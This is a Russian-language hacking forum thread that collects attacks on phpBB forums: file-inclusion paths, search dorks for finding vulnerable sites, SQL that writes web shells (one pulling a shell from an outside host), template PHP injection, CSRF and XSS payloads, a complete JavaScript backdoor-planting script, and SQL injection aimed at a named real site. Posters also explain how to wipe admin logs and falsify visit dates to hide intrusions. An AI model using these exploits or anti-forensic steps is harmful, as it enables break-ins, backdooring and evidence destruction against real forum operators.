/mods/iai/includes/constants.php?phpbb_root_path=shell
AMAZONIA MOD
/zufallscodepart.php?phpbb_root_path=shell
news defilante horizontale <= 4.1.1
/fran?ais/root/includes/functions_newshr.php?phpbb_root_path=shell
phpBB lat2cyr <= 1.0.1
/lat2cyr.php?phpbb_root_path=shell
SpamOborona PHPBB Plugin
/admin/admin_spam.php?phpbb_root_path=shell
RPG Events 1.0.0
/functions_rpg_events.php?phpbb_root_path=shell
phpBB archive for search engines
/includes/archive/archive_topic.php?phpbb_root_path=shell
PhpBB Prillian French
/language/lang_french/lang_prillian_faq.php?phpbb_root_path=shell
phpBB ACP User Registration Mod 1.00
/includes/functions_mod_user.php?phpbb_root_path=shell
phpBB Security <= 1.0.1
/phpbb_security.php?phpbb_root_path=shell
phpBBFM version 206-3-3
/language/lang_english/lang_prillian_faq.php?phpbb_root_path=shell
Fully Modded phpBB 2
/faq.php?foing_root_path=shell
/index.php?foing_root_path=shell
/list.php?foing_root_path=shell
/login.php?foing_root_path=shell
/playlist.php?foing_root_path=shell
/song.php?foing_root_path=shell
/view_artist.php?foing_root_path=shell
/view_song.php?foing_root_path=shell
/login.php?foing_root_path=shell
/playlist.php?foing_root_path=shell
/song.php?foing_root_path=shell
/flash/set_na.php?foing_root_path=shell
/flash/initialise.php?foing_root_path=shell
/flash/get_song.php?foing_root_path=shell
/includes/common.php?foing_root_path=shell
/admin/nav.php?foing_root_path=shell
/admin/main.php?foing_root_path=shell
/admin/list_artists.php?foing_root_path=shell
/admin/index.php?foing_root_path=shell
/admin/genres.php?foing_root_path=shell
/admin/edit_artist.php?foing_root_path=shell
/admin/edit_album.php?foing_root_path=shell
/admin/config.php?foing_root_path=shell
/admin/admin_status.php?foing_root_path=shell
DORK'S
Powered by phpBB 2
"Powered by phpBB"
Powered by phpBB
ext: php intext:"phpbb_installed"
"Powered by phpBB * 2002, 2006 phpBB Group" -demo
"2002, 2006 phpBB Group"
"phpBB Group"
phpbb 2
intext:"Powered by phpBB 2.0."
inurl:"index.php?sid="
inurl:"kb.php?mode=cat"
inurl:"templates""http://forum.xaknet.ru/images/" logo_phpBB.gif
inurl:/phpbb2/
inurl:/phpbb/
+"Powered by phpBB 2.0.6..10" -phpbb.com -phpbb.pl
intext:"Powered by phpBB 2.0.13" inurl:"cal_view_month.php"|inurl:"downloads.php"
intext:"Powered by phpBB 2.0." inurl:"kb.php?mode=cat"
"Powered by phpBB" "2001, 2005 phpBB Group" inurl:index.php inurl:sid=
inurl:/install.php Welcome to phpBB
intext:"Powered by phpBB 2.0" -site:phpbb.com
intext:"Powered by phpBB 2.0" -site:phpbb.com -"2.0.11"
intitle:"Welcome.to.phpbb.*.installation"
filetype:php inurl:phpbb2 intext:Index -intext:2.0.13 -intext:2005
+intext:"* by phpBB ©"
"powered b" "y phpbb"
inurl:redirect=admin/index.php "Powered by phpBB"
inurl:admin/index.php "Powered" "phpBB"
"Powered by phpbb modified v1.8 by Przemo"
"Powered by" "v1.8 by Przemo"
"Powered by" "v1.8 by Przemo" -edu -demo -shoutbox
"Powered by" "v1.8 by Przemo" inurl:index.php -edu -demo -shoutbox
"powered by PhpBB 2.0.15" -site:phpbb.com
(c)Взято с h4ckyou.org
небольшое дополнение способ загрузки файла через Sql
Многим известен способ заливки шелла через восстановление бд(sql запрос) .
5) Загрузка через sql. (Нужны админские права + mysql должна иметь права file_priv='Y'(тоесть фактически root) для OUTFILE)
Редкий случай, но встречаеться чаще баги (3).
как юзать:
Создаем файл 1.sql суем в него код
SELECT '<? @include("http://kiborg.h10.ru/shell/sim.txt"); ?>' FROM phpbb_users LIMIT 1 INTO OUTFILE '/home/lol/htdocs/forum/shell.php';
В админке востанавливаем через бд этот файл.
Тут нужно знать полный путь. Как его узнавать, ищите в инете.
В данном случае надо
1) Иметь file_priv=y
2)Знать пути
3)Знать таблицу(скорее префикс)
3-ий пункт незачем, знать таблицу(префикс) не обязательно
Также создаем Sql файл
один вариант
SELECT '<? system(id); ?>' INTO OUTFILE '/home/lol/htdocs/forum/evil.php';
И он будет работать!
другой вариант
select '<? system(id); ?>' into outfile '/home/lol/htdocs/forum/evil.php' FIELDS TERMINATED BY '' OPTIONALLY ENCLOSED BY '';
тоже вариант, после выполнения создастся файл evil.php.
Тож канает
DeepXhadow
17.03.2009, 21:38
не нашел на форуме способов заливки шелла в phpBB 3 версии.
1) Вкладка общие --> Безопасность
Разрешить php в шаблонах: Да
2)Вкладка Стили --> Компоненты стилей ->> Шаблоны
С помощью встроенного редактора шаблонов выбираем файл и пишем в него:
<!-- PHP -->
phpinfo();
<!-- ENDPHP -->
Далее применяем шаблон, идем на измененную страницу и видим наш php код
не нашел на форуме способов заливки шелла в phpBB 3 версии.
1) Вкладка общие --> Безопасность
Разрешить php в шаблонах: Да
2)Вкладка Стили --> Компоненты стилей ->> Шаблоны
С помощью встроенного редактора шаблонов выбираем файл и пишем в него:
<!-- PHP -->
phpinfo();
<!-- ENDPHP -->
Далее применяем шаблон, идем на измененную страницу и видим наш php код
все работает отлично, спасибо тебе и разработчикам phpbb3, очень облегчили жизнь! :p
после таких манипуляций в админке phpbb3 отсается палево - айпишний и логин админа, который "тыкал кнопочки".. даже после ручного удаления изменений, все равно последнее выглядит "admin ... Очищен лог администратора ... date ... ip"
через sql тулзу удаляем свои следы в таблице phpbb_log + после логаута не забываем проапдейтить дату последнего визита на прежнюю. значение находится в табле phpbb_users, колонка user_lastvisit.
Подскажите, как залить шелл на 2.0.19 с отключенной возможностью рестора БД?
Пробовал сэксплойты от Шанкара, редактирования стиля/подписи/highlight - не работает...
DimOnOID
16.06.2009, 18:13
Подскажите, как залить шелл на 2.0.19 с отключенной возможностью рестора БД?
Пробовал сэксплойты от Шанкара, редактирования стиля/подписи/highlight - не работает...
Отключённой в смысле? В Списке нету?..
Попробуй обраиться к срипту напрямую
admin_db_utilities.php?perform=restore&sid=сессия
Просто..встречал пару раз модифиц phpbb..Где в админке не было такого пункта.....но скрипт был)
Отключённой в смысле? В Списке нету?..
Попробуй обраиться к срипту напрямую
admin_db_utilities.php?perform=restore&sid=сессия
Просто..встречал пару раз модифиц phpbb..Где в админке не было такого пункта.....но скрипт был)
Нет, пункт есть, прделагается указать файл и залить - однако после нажатия на кнопку просто сюда же перебрасывает и снова предлагает залить файл. Т.е. не отваливается по таймауту, не показывает ошибку, не показывает успеха, а просто снова на эту же страницу рестора БД... без понятия, что сделтьт.
Есть 2 вопроса:
1) с какой версии 2ой ветки в куках перестали храниться хэши?
2) имея куки админа, в админку версии 2.0.23 никак не зайти?
======================
Elekt пишет
1) с 2.0.19
2) в админке толи своя сессия(нужен хсс в админке), толи надо заставить админа залогиниться в админку, тогда сессия облагородится.
phpBB3 addon prime_quick_style GetAdmin Vulnerability
################################################## ########################
#
# phpBB3 addon prime_quick_style GetAdmin Exploit
#
# Vulnerability found and exploited by -SmoG-
#
# target file: prime_quick_style.php
#
#
# vuln: POST parameter "prime_quick_style" is injectable.
# source: http://www.phpbb.com/community/viewtopic.php?f=70&t=692625
#
# HowTo: after login, go to "./ucp.php" and manipulate the content from the "prime_quick_style"-parameter.
# example: prime_quick_style = "5,user_type = 3, user_permissions = ''"
#
# query will be look like this: "UPDATE USER_TABLE SET user_style = ANY_STYLE(integer), user_type = 3, user_permissions = '' WHERE user_id = YourId"
#
# gratz, now u will be an admin :)
#
# --- greetz to Pronoobz.org --- AbiDez, ChinaSun and ~dp~ || Thanks you a lot! ---
#
#
# -( by -SmoG- )-
################################################## ########################
# milw0rm.com [2009-09-01]
Root-access
15.12.2009, 23:22
Уязвимость: E-Mail send XSRF (CSRF) Vulnerability.
Описание: Собственно, работает лишь в phpbb2, в 3 версии уже закрыта.
Эксплойт:
<html>
<body>
<form action="http://victim.com/phpbb2/profile.php?mode=email&u=userid" method="post">
<input type="text" name="subject" value="XSRF bug" />
<textarea name="message">Found by Root-access</textarea>
<input type="checkbox" name="cc_email" value="0" checked="checked">
<input type="submit" id="xsrf" name="submit" value="O'k">
</form>
<script>document.getElementById("xsrf").click();</script>
</body>
</html>
LeverOne
22.12.2009, 22:57
1. Активный межсайтовый скриптинг phpBB 3.0.x-3.0.6.
BB-тег неотфильтрован чуть менее, чем полностью.
[flash=1,1]javascript:confirm(/lo/);//lo
По умолчанию данный тег недоступен для зарегистрированных пользователей, но его можно разрешить для использования в личных сообщениях.
Работоспособность : Opera & Safari
Но есть ли там ещё XSS? O, да!
2. Автозагрузка шелла/ бэкдора и т.д. через XSS.
Для работы скрипта требуется, чтобы администратор был авторизован в админ. панеле.
Эксплойт реализует метод, описанный здесь: https://forum.antichat.ru/showpost.php?p=1176333&postcount=36:
* Скрипт не станет повторно добавлять php-код, если он уже имеется в шаблоне.
* В логе администратора удаляются записи только о произведенных действиях.
Шелл будет доступен по адресу: http://vulnsite.xz/forum/ucp.php?mode=login&lo=test
Также рекомендуется ознакомиться с этим https://forum.antichat.ru/showpost.php?p=1231741&postcount=37
Эксплойт:
/*/ phpBB 3.0.x-3.0.6 shell-inj.
/// Example:
javascript:with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='http://yoursite.xz/shell-inj.js';void(0);
/// LeverOne. 12.2009
/*/
phpcode = '<!-- PHP --> if($_GET[lo]) echo($_GET[lo]); <!-- ENDPHP -->';
template_file = 'login_body.html';
// выделение базового url (директория админки и сессия) из главной страницы
get_base_url(location.pathname.substring(0, location.pathname.lastIndexOf('/') + 1)+'#');
function get_base_url(url) {
requester('GET', url, null,
function() {
if (r.readyState == 4) {
base_url = r.responseText.match(/\.\/.+?\?sid=.{32}/);
if (base_url != null)
get_default_style(base_url);
}
}
);
}
// получение названия стиля по умолчанию
function get_default_style(base_url) {
requester('GET', base_url + '&i=styles&mode=style', null,
function() {
if (r.readyState == 4) {
default_style = r.responseText.match(/<strong>(.+?)<\/strong> \*/)[1];
get_templ_id(default_style, base_url);
}
}
);
}
// получение id шаблона по умолчанию
function get_templ_id(default_style, base_url) {
requester('GET', base_url + '&i=styles&mode=template', null,
function() {
if (r.readyState == 4) {
expr = new RegExp(default_style + '[\\w\\W]+?(id=\\d+)"', 'm');
templ_id = r.responseText.match(expr)[1];
to_edit_templ(templ_id, base_url);
}
}
);
}
// на пути к редактированию шаблона...
function to_edit_templ(templ_id, base_url) {
requester('GET', base_url + '&i=styles&mode=template&action=edit&' + templ_id, null,
function() {
if (r.readyState == 4) {
creation_time = r.responseText.match(/creation_time" value="(\d+)/i)[1];
form_token = r.responseText.match(/form_token" value="(.+?)"/i)[1];
postdata = 'template_file=' + template_file + '&creation_time=' + creation_time + '&form_token=' + form_token;
edit_templ(templ_id, base_url, postdata);
}
}
);
}
// редактирование шаблона
function edit_templ(templ_id, base_url, postdata) {
requester('POST', base_url + '&i=styles&mode=template&action=edit&' + templ_id + '&text_rows=20', postdata,
function() {
if (r.readyState == 4) {
template_data = r.responseText.match(/rows="20">([\w\W]+)<\/textarea/mi)[1];
template_data = template_data.replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"').replace(/&/g, '&');
if (template_data.indexOf(phpcode) == -1) {
template_data = encodeURIComponent(template_data + phpcode);
creation_time = r.responseText.match(/creation_time" value="(\d+)/i)[1];
form_token = r.responseText.match(/form_token" value="(.+?)"/i)[1];
postdata = 'template_data=' + template_data + '&template_file=' + template_file +'&creation_time=' + creation_time + '&form_token=' + form_token + '&save=1';
setTimeout("send_edit_templ(templ_id, base_url, '" + postdata + "')", 1000);
}
}
}
);
}
// отправка редактированного шаблона
function send_edit_templ(templ_id, base_url, postdata) {
requester('POST', base_url + '&i=styles&mode=template&action=edit&' + templ_id + '&text_rows=20', postdata,
function() {
if (r.readyState == 4) {
to_allow_php(base_url);
}
}
);
}
// переход на страницу настроек безопасности
function to_allow_php(base_url) {
requester('GET', base_url + '&i=board&mode=security', null,
function() {
if (r.readyState == 4) {
creation_time = r.responseText.match(/creation_time" value="(\d+)/i)[1];
form_token = r.responseText.match(/form_token" value="(.+?)"/i)[1];
postdata = 'config%5Btpl_allow_php%5D=1&submit=1&creation_time=' + creation_time + '&form_token=' + form_token;
setTimeout("allow_php(base_url, '" + postdata + "')", 1000);
}
}
);
}
// разрешение php в настройках
function allow_php(base_url, postdata) {
requester('POST', base_url + '&i=board&mode=security', postdata,
function() {
if (r.readyState == 4) {
to_delete_log(base_url);
}
}
);
}
// на пути к удалению логов...
function to_delete_log(base_url) {
requester('GET', base_url + '&i=logs&mode=admin', null,
function() {
if (r.readyState == 4) {
log_num = r.responseText.match(/mark\[\]" value="(\d+)/g);
postdata = 'mark%5B%5D='+ log_num[0].substring(15) + '&mark%5B%5D=' + log_num[1].substring(15) + '&mark%5B%5D=' + log_num[2].substring(15) + '&delmarked=1';
delete_log(base_url, postdata);
}
}
);
}
// удаление логов
function delete_log(base_url, postdata) {
requester('POST', base_url + '&i=logs&mode=admin', postdata,
function() {
if (r.readyState == 4) {
confirm_uid = r.responseText.match(/confirm_uid" value="(\d+)/i)[1];
sess = r.responseText.match(/sess" value="(.+?)"/i)[1];
sid = r.responseText.match(/sid" value="(.+?)"/i)[1];
confirm = r.responseText.match(/confirm" value="(.+?)"/i)[1];
postdata = postdata + '&confirm_uid=' + confirm_uid + '&sess=' + sess + '&sid=' + sid + '&confirm=' + encodeURIComponent(confirm);
confirm_key = r.responseText.match(/confirm_key=(.+?)"/i)[1];
confirm_delete_log(base_url, postdata, confirm_key);
}
}
);
}
// подтверждение удаления логов
function confirm_delete_log(base_url, postdata, confirm_key) {
requester('POST', base_url + '&i=logs&mode=admin&confirm_key='+ confirm_key, postdata, null
);
}
// универсальная функция запроса
function requester(method, url, postdata, func) {
try {r = new XMLHttpRequest()} catch(err) {r = new ActiveXObject('Msxml2.XMLHTTP')}
r.open(method, url + '&r=' + Math.ceil(1000*Math.random()));
if (method == 'POST') r.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
r.onreadystatechange = func;
r.send(postdata);
}
Как вы понимаете, он сработает с любой XSS.
Pashkela
26.03.2010, 22:29
Target: phpbb2*
Dork: inurl:"kb.php?mode=cat"
Example:
http://aquaticreefsystems.com/forum/kb.php?mode=cat&cat=13
SQL injection (without union+select):
http://aquaticreefsystems.com/forum/kb.php?mode=cat&cat=(select+1+from+(select+count(0),concat((select +version()),floor(rand(0)*2))+from+phpbb_kb_catego ries+group+by+2+limit+1)a)
Префикс таблицы kb_categories может отличаться, но его видно в ошибке
PS: актуально для 4.1<=MySQL=>5
Pashkela
10.04.2010, 23:52
:.']скажите где в phpbb3 раскрытия есть.. очень нужно
phpbb3 full path disclosure:
includes/db/mssql.php
includes/db/sqlite.php
includes/db/firebird.php
includes/db/mssql_odbc.php
includes/db/mysql.php
includes/db/mysql4.php
includes/db/mysqli.php
includes/db/postgres.php
includes/search/fulltext_phpbb.php
includes/search/fulltext_mysql.php
includes/acm/acm_main.php
includes/acp/auth.php
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot